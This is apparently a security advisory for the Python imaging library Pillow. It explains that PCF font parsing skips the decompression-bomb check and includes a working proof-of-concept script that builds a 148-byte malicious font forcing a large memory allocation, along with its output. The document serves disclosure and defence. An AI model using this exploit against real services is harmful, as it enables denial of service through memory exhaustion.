GHSA-8v84-f9pq-wr9x

xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070)

for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! )

#!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") # PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0) # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0) # Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0 # Encodings: char 0x41 ('A') → glyph 0 enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"*128, *enc_offsets) secs = [(PCF_PROPS, props), (PCF_METRICS, metrics), (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)] hdr_size = 4 + 4 + len(secs) * 16 out = struct.pack("<II", PCF_MAGIC, len(secs)) offset = hdr_size for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for _, sdata in secs: out += sdata return out pcf = build_bomb_pcf(W, H) print(f"[*] PCF file size : {len(pcf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB") except Exception as e: _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation") print(f" Heap peak: {peak/1024**2:.2f} MB") print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

[Image.open() path] BLOCKED by DecompressionBombError [*] PCF file size : 148 bytes [*] Glyph size : 14000 x 14000 = 196,000,000 pixels [*] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception